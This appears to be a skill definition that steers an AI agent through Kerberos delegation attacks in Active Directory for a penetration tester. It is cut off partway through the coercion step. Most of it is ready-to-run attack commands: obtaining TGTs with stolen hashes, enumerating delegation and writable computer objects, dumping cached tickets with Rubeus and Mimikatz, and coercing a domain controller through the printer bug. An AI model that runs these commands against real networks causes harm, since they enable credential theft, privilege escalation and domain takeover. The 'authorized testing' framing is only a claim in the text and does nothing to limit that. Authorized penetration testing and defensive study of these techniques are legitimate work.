/kerberos-delegation

name: kerberos-delegation
description: >
  Exploits Kerberos delegation misconfigurations for privilege escalation and
  lateral movement in Active Directory. Covers Unconstrained Delegation (TGT
  harvesting via coercion), Constrained Delegation (S4U2Self + S4U2Proxy with
  SPN swapping), and Resource-Based Constrained Delegation (RBCD via writable
  machine accounts).
keywords:
  - delegation
  - unconstrained delegation
  - constrained delegation
  - RBCD
  - resource-based constrained delegation
  - S4U
  - S4U2Self
  - S4U2Proxy
  - TrustedForDelegation
  - msDS-AllowedToDelegateTo
  - msDS-AllowedToActOnBehalfOfOtherIdentity
  - TGT harvesting
  - SpoolService
  - printer bug
  - SPN swapping
  - altservice
tools:
  - Impacket
  - Rubeus
  - bloodyAD
  - NetExec
  - krbrelayx
  - SpoolSample
opsec: medium

Kerberos Delegation Exploitation

You are helping a penetration tester exploit Kerberos delegation misconfigurations for privilege escalation and lateral movement. All testing is under explicit written authorization.

**Kerberos-first authentication**: All commands default to Kerberos auth via ccache. Convert credentials to a TGT first, then use `-k -no-pass` (Impacket), `--use-kcache` (NetExec), or `/ticket:` (Rubeus) throughout.

Engagement Logging

Check for `./engagement/` directory. If absent, proceed without logging.

When an engagement directory exists:

• Print `[kerberos-delegation] Activated → <target>` to the screen on activation.
• **Evidence** → save significant output to `engagement/evidence/` with

descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).

State Management

Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Domain credentials (user, hash, or ticket) with at least one of:
• Local admin on an unconstrained delegation host
• Hash/key of a constrained delegation service account
• Write access (GenericAll/GenericWrite/WriteDACL) to a computer object (for RBCD)
• Network access to DC (port 88/389/445)
• Tools: Impacket suite, `netexec`/`nxc`, optionally `Rubeus`, `bloodyAD`,

`krbrelayx`, `SpoolSample`/`dementor.py`/`PetitPotam`

**Kerberos-first workflow**:

getTGT.py DOMAIN/user -hashes :NTHASH
# or with AES (preferred)
getTGT.py DOMAIN/user -aesKey AES256KEY
export KRB5CCNAME=user.ccache
# All subsequent commands use -k -no-pass

Step 1: Enumerate Delegation

Identify delegation-configured accounts. Skip if already provided by **ad-discovery** or conversation context.

Unconstrained Delegation

# NetExec
nxc ldap DC.DOMAIN.LOCAL --use-kcache --trusted-for-delegation

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \
  --filter '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))' \
  --attr sAMAccountName,userAccountControl

# PowerView (Windows)
Get-DomainComputer -Unconstrained -Properties name,dnshostname

Note: Domain Controllers always have unconstrained delegation. Focus on **non-DC** computers with `TRUSTED_FOR_DELEGATION`.

Constrained Delegation

# NetExec
nxc ldap DC.DOMAIN.LOCAL --use-kcache --delegated-to

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get search \
  --filter '(msds-allowedtodelegateto=*)' \
  --attr sAMAccountName,msds-allowedtodelegateto

# PowerView (Windows)
Get-DomainUser -TrustedToAuth | select name,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name,msds-allowedtodelegateto

# BloodHound Cypher
MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p

RBCD Targets (Writable Computer Objects)

# bloodyAD — find computers you can write to
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get writable \
  --otype COMPUTER --right WRITE --detail

# Check MachineAccountQuota (for creating attacker computer)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL get object \
  'DC=DOMAIN,DC=LOCAL' --attr ms-DS-MachineAccountQuota

# Check existing RBCD
nxc ldap DC.DOMAIN.LOCAL --use-kcache -M rbcd

Decision Tree

| Finding | Go To | |---------|-------| | Non-DC computer with unconstrained delegation + local admin | Step 2 | | Service account/computer with `msDS-AllowedToDelegateTo` | Step 3 | | Write access to a computer's AD object | Step 4 | | GenericAll/WriteDACL on computer + MachineAccountQuota > 0 | Step 4 |

Step 2: Unconstrained Delegation

**Concept**: When a user authenticates to an unconstrained delegation host, their TGT is cached in LSASS. With local admin on that host, extract the TGT and impersonate that user anywhere.

**Requirements**:

• Local admin on the unconstrained delegation computer
• A high-value user authenticates to it (or you coerce authentication)

Step 2a: Monitor for Incoming TGTs

# Rubeus — monitor for new TGTs (run before coercion)
.\Rubeus.exe monitor /interval:1 /nowrap

# Mimikatz — export all cached tickets
privilege::debug
sekurlsa::tickets /export

Step 2b: Coerce Authentication

Force a DC or high-value target to authenticate to the unconstrained host.

**Print Spooler (MS-RPRN) — SpoolService Bug**:

# Check if Print Spooler is running
ls \\DC01\pipe\spoolss              # Windows
rpcdump.py DOMAIN/user@DC01 -k -no-pass | grep MS-RPRN  # Linux

# Coerce DC to authenticate to unconstrained host
python3 printerbug.py 'DOMAIN/user:password'@DC01 UNCONSTRAINED-HOST
# O